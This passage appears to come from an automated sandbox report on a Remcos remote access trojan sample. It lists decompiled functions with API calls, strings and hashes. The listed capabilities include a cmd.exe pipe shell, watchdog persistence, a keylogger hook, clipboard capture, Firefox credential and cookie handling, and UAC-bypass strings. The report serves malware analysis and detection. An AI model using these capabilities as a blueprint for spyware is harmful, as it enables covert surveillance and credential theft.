                                                        • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084FF
                                                        • DeleteFileA.KERNEL32(?), ref: 0040868D
                                                          • Part of subcall function 00408847: __EH_prolog.LIBCMT ref: 0040884C
                                                          • Part of subcall function 00408847: FindFirstFileW.KERNEL32(00000000,?,00466618,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408905
                                                          • Part of subcall function 00408847: __CxxThrowException@8.LIBVCRUNTIME ref: 0040892D
                                                          • Part of subcall function 00408847: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040893A
                                                        • Sleep.KERNEL32(000007D0), ref: 00408733
                                                        • StrToIntA.SHLWAPI(00000000,00000000), ref: 00408775
                                                          • Part of subcall function 0041CA73: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CB68
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                                                        • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                                                        • API String ID: 1067849700-181434739
                                                        • Opcode ID: 386568ea35fe2c71690d1af1043c536d771b930e6ed81d06046e5373954323ac
                                                        • Instruction ID: f533dcafa702064eae222fc9ff54aa9327b172b3479e3db69e1c842a3252ef64
                                                        • Opcode Fuzzy Hash: 386568ea35fe2c71690d1af1043c536d771b930e6ed81d06046e5373954323ac
                                                        • Instruction Fuzzy Hash: F04293716043016BC604FB76C9579AE77A9AF91348F80483FF542671E2EF7C9908879B
                                                        Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __Init_thread_footer.LIBCMT ref: 004056E6
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        • __Init_thread_footer.LIBCMT ref: 00405723
                                                        • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660CC,00000000), ref: 004057B6
                                                        • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                                                        • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                                                        • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                                                        • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                                                        • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                                          • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                        • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90,004660D0,00000062,004660B4), ref: 004059E4
                                                        • Sleep.KERNEL32(00000064,00000062,004660B4), ref: 004059FE
                                                        • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                                                        • CloseHandle.KERNEL32 ref: 00405A23
                                                        • CloseHandle.KERNEL32 ref: 00405A2B
                                                        • CloseHandle.KERNEL32 ref: 00405A3D
                                                        • CloseHandle.KERNEL32 ref: 00405A45
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                        • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                                                        • API String ID: 2994406822-18413064
                                                        • Opcode ID: f51e1e407a3c6e3a44d55a1067086f8f81688e0a34343b3d0a2006916af40dd3
                                                        • Instruction ID: feb7c3e087fbbfe745e3798ef664df189eb35a760580a6c3fca7c2e5343dee52
                                                        • Opcode Fuzzy Hash: f51e1e407a3c6e3a44d55a1067086f8f81688e0a34343b3d0a2006916af40dd3
                                                        • Instruction Fuzzy Hash: 1A91C271604604AFD711FB36ED42A6B369AEB84308F01443FF589A62E2DB7D9C448F6D
                                                        Function 00412132 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCurrentProcessId.KERNEL32 ref: 00412141
                                                          • Part of subcall function 004138B2: RegCreateKeyA.ADVAPI32(80000001,00000000,004660B4), ref: 004138C0
                                                          • Part of subcall function 004138B2: RegSetValueExA.ADVAPI32(004660B4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C18D,00466C58,00000001,000000AF,004660B4), ref: 004138DB
                                                          • Part of subcall function 004138B2: RegCloseKey.ADVAPI32(004660B4,?,?,?,0040C18D,00466C58,00000001,000000AF,004660B4), ref: 004138E6
                                                        • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 00412181
                                                        • CloseHandle.KERNEL32(00000000), ref: 00412190
                                                        • CreateThread.KERNEL32(00000000,00000000,00412829,00000000,00000000,00000000), ref: 004121E6
                                                        • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 00412455
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                                                        • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                                                        • API String ID: 3018269243-13974260
                                                        • Opcode ID: 72932527d79eb0b84df19a67bf2cbe60f69183da4d25f0da7fa945edb6755c4f
                                                        • Instruction ID: f1b014459f2de55ad39b9ce4e2eab06dd530905b6b6ad57ecd0cf2e75cce6712
                                                        • Opcode Fuzzy Hash: 72932527d79eb0b84df19a67bf2cbe60f69183da4d25f0da7fa945edb6755c4f
                                                        • Instruction Fuzzy Hash: B971A23160430167C614FB72CD579AE77A4AE94308F40097FF586A21E2FFBC9A49C69E
                                                        Function 0040BB6B Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBEA
                                                        • FindClose.KERNEL32(00000000), ref: 0040BC04
                                                        • FindNextFileA.KERNEL32(00000000,?), ref: 0040BD27
                                                        • FindClose.KERNEL32(00000000), ref: 0040BD4D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Find$CloseFile$FirstNext
                                                        • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                        • API String ID: 1164774033-3681987949
                                                        • Opcode ID: b41a8e288d6c781c84b11b836a0024b7a118f79960b3641b573c725179fdc384
                                                        • Instruction ID: 8b0b2ff803da1d4b435a108118727fe7c74031c8ac088da8990f7d135a86af9b
                                                        • Opcode Fuzzy Hash: b41a8e288d6c781c84b11b836a0024b7a118f79960b3641b573c725179fdc384
                                                        • Instruction Fuzzy Hash: C7514F3190021A9ADB14FBB2DC56AEEB739AF10304F50057FF506721E2FF785A49CA99
                                                        Function 004168FC Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenClipboard.USER32 ref: 004168FD
                                                        • EmptyClipboard.USER32 ref: 0041690B
                                                        • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 0041692B
                                                        • GlobalLock.KERNEL32(00000000), ref: 00416934
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0041696A
                                                        • SetClipboardData.USER32(0000000D,00000000), ref: 00416973
                                                        • CloseClipboard.USER32 ref: 00416990
                                                        • OpenClipboard.USER32 ref: 00416997
                                                        • GetClipboardData.USER32(0000000D), ref: 004169A7
                                                        • GlobalLock.KERNEL32(00000000), ref: 004169B0
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 004169B9
                                                        • CloseClipboard.USER32 ref: 004169BF
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                        • String ID: !D@
                                                        • API String ID: 3520204547-604454484
                                                        • Opcode ID: 22014e37a0533ad6d5301b9a6db5ea665297cd973015afcf0188733ddc164352
                                                        • Instruction ID: 548dc4d81477911aad8e8b192ef25fd2d65b79b2884d290c2f7190e4363fe536
                                                        • Opcode Fuzzy Hash: 22014e37a0533ad6d5301b9a6db5ea665297cd973015afcf0188733ddc164352
                                                        • Instruction Fuzzy Hash: 23215171204301EBD714BB71DC5DAAE7AA9AF88746F00043EF946961E2EF3C8C45866A
                                                        Function 0040BD72 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDEA
                                                        • FindClose.KERNEL32(00000000), ref: 0040BE04
                                                        • FindNextFileA.KERNEL32(00000000,?), ref: 0040BEC4
                                                        • FindClose.KERNEL32(00000000), ref: 0040BEEA
                                                        • FindClose.KERNEL32(00000000), ref: 0040BF0B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Find$Close$File$FirstNext
                                                        • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                        • API String ID: 3527384056-432212279
                                                        • Opcode ID: 957e4b9f77f0127c971f2cbaa54e22c6f4c97dcdb1298e2b7e9e5f591e6deb8c
                                                        • Instruction ID: 490896facf616f27299b965c2ba25c256be2621490ca3b25f990f1d956524bcc
                                                        • Opcode Fuzzy Hash: 957e4b9f77f0127c971f2cbaa54e22c6f4c97dcdb1298e2b7e9e5f591e6deb8c
                                                        • Instruction Fuzzy Hash: E0417F3190021AAACB04F7B2DC5A9EE7769AF11704F50057FF506B21E2EF385A458A9D
                                                        Function 0041A045 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __EH_prolog.LIBCMT ref: 0041A04A
                                                        • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 0041A07C
                                                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A108
                                                        • Sleep.KERNEL32(000003E8), ref: 0041A18E
                                                        • GetLocalTime.KERNEL32(?), ref: 0041A196
                                                        • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A285
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                                        • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                                                        • API String ID: 489098229-1431523004
                                                        • Opcode ID: 2b4183d8bba473354f186d6fd22040c2ea42666b5de8bb998ac3c21ef9cf795b
                                                        • Instruction ID: 12d64888f2a2aa40a87de1a625a26b3edd7a2139bf4817292c9f8cf1352d8a2d
                                                        • Opcode Fuzzy Hash: 2b4183d8bba473354f186d6fd22040c2ea42666b5de8bb998ac3c21ef9cf795b
                                                        • Instruction Fuzzy Hash: 7A517D70A002159ACB14BBB5C8529FD77A9AF54308F40407FF509AB1E2EF7C9D85C799
                                                        Function 0040F4AF Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F4C9
                                                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00475338), ref: 0040F4F4
                                                        • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F510
                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F58F
                                                        • CloseHandle.KERNEL32(00000000,?,00000000,?,?,00475338), ref: 0040F59E
                                                          • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C286
                                                          • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C299
                                                        • CloseHandle.KERNEL32(00000000,?,00475338), ref: 0040F6A9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                                                        • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                                        • API String ID: 3756808967-1743721670
                                                        • Opcode ID: 7e174afa80332a6d9799d90a5ef8f927f9e1300862e9f2cc4ca1dfb4d5584e6a
                                                        • Instruction ID: 73d50abc618c2a3d6a57d9d5b79267519347fdb4c989691d2635b3abfd1995a7
                                                        • Opcode Fuzzy Hash: 7e174afa80332a6d9799d90a5ef8f927f9e1300862e9f2cc4ca1dfb4d5584e6a
                                                        • Instruction Fuzzy Hash: B5712E705083419AC724FB21D8959AEB7E4AF90348F40483FF586631E3EF79994DCB9A
                                                        Function 00419662 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: 0$1$2$3$4$5$6$7$VG
                                                        • API String ID: 0-1861860590
                                                        • Opcode ID: 23e062be4493d8f612a0f73d7cec249050aa78cf65a3b1cbc455386ce95aeb4f
                                                        • Instruction ID: 7133b754bba813e7b371628f59950815dc208a5c28e1558ec9b3f3725e93ffbd
                                                        • Opcode Fuzzy Hash: 23e062be4493d8f612a0f73d7cec249050aa78cf65a3b1cbc455386ce95aeb4f
                                                        • Instruction Fuzzy Hash: 9171E2709183019FD704EF21D862BAB7B94DF85710F00492FF5A26B2D1DE78AB49CB96
                                                        Function 00407538 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _wcslen.LIBCMT ref: 0040755C
                                                        • CoGetObject.OLE32(?,00000024,00466528,00000000), ref: 004075BD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Object_wcslen
                                                        • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                        • API String ID: 240030777-3166923314
                                                        • Opcode ID: ee0c587a1dfa56a4776c25ed63fc93c62e7d4b1650b4331978f6b80fa64f11fb
                                                        • Instruction ID: 28daeeabb8f9d0779e909056d36d27ae9c6096be3406941992b1a3e854751cf1
                                                        • Opcode Fuzzy Hash: ee0c587a1dfa56a4776c25ed63fc93c62e7d4b1650b4331978f6b80fa64f11fb
                                                        • Instruction Fuzzy Hash: 88113771D04214B6D710EA959845BDEB77C9B08714F15006FF904B2281EB7CAE448A6F
                                                        Function 0041A7D9 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A7EF
                                                        • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A83E
                                                        • GetLastError.KERNEL32 ref: 0041A84C
                                                        • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A884
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                        • String ID:
                                                        • API String ID: 3587775597-0
                                                        • Opcode ID: b4f2e3a96ffad31793e55c3957a9d7d505f7fea0f7d1b1d8364ea5c68624dc3d
                                                        • Instruction ID: 52116c85fb856a5ac6c14b0259405ec20ae2fa8d9cc538ef9907a440d1633313
                                                        • Opcode Fuzzy Hash: b4f2e3a96ffad31793e55c3957a9d7d505f7fea0f7d1b1d8364ea5c68624dc3d
                                                        • Instruction Fuzzy Hash: 17817071104301ABC304EF61D885DAFB7A8FF94749F50082EF185521A2EF78EE49CB9A
                                                        Function 00452690 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482F4
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448301
                                                        • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045279C
                                                        • IsValidCodePage.KERNEL32(00000000), ref: 004527F7
                                                        • IsValidLocale.KERNEL32(?,00000001), ref: 00452806
                                                        • GetLocaleInfoW.KERNEL32(?,00001001,JD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 0045284E
                                                        • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 0045286D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                        • String ID: JD$JD$JD
                                                        • API String ID: 745075371-3517165026
                                                        • Opcode ID: d20e60e436924f937cd003670a139ed53a354482d02232a94d44678fcfb69b99
                                                        • Instruction ID: 3c84011e7dbdf7a6f9673bc5a23f9f2f22d5020eb6794df094384b3d0215d6fb
                                                        • Opcode Fuzzy Hash: d20e60e436924f937cd003670a139ed53a354482d02232a94d44678fcfb69b99
                                                        • Instruction Fuzzy Hash: 9B518571900205ABDB10DFA5CD45ABF77B8EF0A702F04046BED14E7292E7B89948CB69
                                                        Function 0040C388 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C3D6
                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 0040C4A9
                                                        • FindClose.KERNEL32(00000000), ref: 0040C4B8
                                                        • FindClose.KERNEL32(00000000), ref: 0040C4E3
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Find$CloseFile$FirstNext
                                                        • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                        • API String ID: 1164774033-405221262
                                                        • Opcode ID: 4169ffd3f28e2297937e5de7748edea37615030425ded00ed2c5c169ca4bc7f2
                                                        • Instruction ID: 33618048715e6b2d4a7b39963b1e19558724686ef99070a322097c87c0ca4c0c
                                                        • Opcode Fuzzy Hash: 4169ffd3f28e2297937e5de7748edea37615030425ded00ed2c5c169ca4bc7f2
                                                        • Instruction Fuzzy Hash: 59313E31500219AACB14E761DC9A9EE7778AF50719F10057FF106B21E2EF7C9946CA4D
                                                        Function 0040A2F3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 63windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A30E
                                                        • SetWindowsHookExA.USER32(0000000D,0040A2DF,00000000), ref: 0040A31C
                                                        • GetLastError.KERNEL32 ref: 0040A328
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040A376
                                                        • TranslateMessage.USER32(?), ref: 0040A385
                                                        • DispatchMessageA.USER32(?), ref: 0040A390
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                        • String ID: Keylogger initialization failure: error $`#v
                                                        • API String ID: 3219506041-3226811161
                                                        • Opcode ID: d8c8387710f3476d83fdaf4ec3d7d354e2c1b68a13aa6285ca24eae745b098e4
                                                        • Instruction ID: 8743f2250fb8cae6a99ae5fb3d4b34fe2baf279f6720e4878f05ffc9670b3ffc
                                                        • Opcode Fuzzy Hash: d8c8387710f3476d83fdaf4ec3d7d354e2c1b68a13aa6285ca24eae745b098e4
                                                        • Instruction Fuzzy Hash: 6011BF31510301EBC710BB769D0986B77ACEA95715B20097EFC82E22D1EB34C910CBAA
                                                        Function 0041C322 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C37D
                                                        • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C3AD
                                                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,00474EE0,?), ref: 0041C41F
                                                        • DeleteFileW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C42C
                                                          • Part of subcall function 0041C322: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C402
                                                        • GetLastError.KERNEL32(?,?,?,?,?,00474EE0,?), ref: 0041C44D
                                                        • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C463
                                                        • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C46A
                                                        • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C473
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                        • String ID:
                                                        • API String ID: 2341273852-0
                                                        • Opcode ID: 62a2abd498f26ce669d7ffff052401bb4e8331d26592ec8f44b35c1b9ec2a307
                                                        • Instruction ID: 53b23dfad01ba0d5beec27b7c27070a1caf437d6ccbc5233b8522822963bc02e
                                                        • Opcode Fuzzy Hash: 62a2abd498f26ce669d7ffff052401bb4e8331d26592ec8f44b35c1b9ec2a307
                                                        • Instruction Fuzzy Hash: 4A31807284431CAADB24E761DC89EEB736CAF09305F0405FBF559D2051EB3DDAC98A58
                                                        Function 00419B86 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(00000000,?), ref: 00419DDC
                                                        • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419EA8
                                                          • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E84), ref: 0041C52F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$Find$CreateFirstNext
                                                        • String ID: 8SG$PXG$PXG$NG$PG
                                                        • API String ID: 341183262-3812160132
                                                        • Opcode ID: cd9425940f8db8ef2b08a2b33307d693326731427aae5be40ce922e7e20f00f0
                                                        • Instruction ID: 0eaaaed992bec346a468a6d62c1d6888972f0568f5be94e2eef244f320132bd5
                                                        • Opcode Fuzzy Hash: cd9425940f8db8ef2b08a2b33307d693326731427aae5be40ce922e7e20f00f0
                                                        • Instruction Fuzzy Hash: 998151315083415BC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                                                        Function 0040A41B Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetForegroundWindow.USER32 ref: 0040A451
                                                        • GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A45D
                                                        • GetKeyboardLayout.USER32(00000000), ref: 0040A464
                                                        • GetKeyState.USER32(00000010), ref: 0040A46E
                                                        • GetKeyboardState.USER32(?), ref: 0040A479
                                                        • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A49C
                                                        • ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4FC
                                                        • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A535
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                        • String ID:
                                                        • API String ID: 1888522110-0
                                                        • Opcode ID: 6b13a39d4d7102bd722f9bbc25ae7d3563ebcd6996124b6635e543b06ec7d5c4
                                                        • Instruction ID: fd17a64e9e4f7f825196359ceba3421c6f582a70c0a4c9d277f8a97da3dc7bda
                                                        • Opcode Fuzzy Hash: 6b13a39d4d7102bd722f9bbc25ae7d3563ebcd6996124b6635e543b06ec7d5c4
                                                        • Instruction Fuzzy Hash: 1E316D72504308BFD700DF90DC45F9B7BECBB88744F00083AB645D61A0D7B5E9498BA6
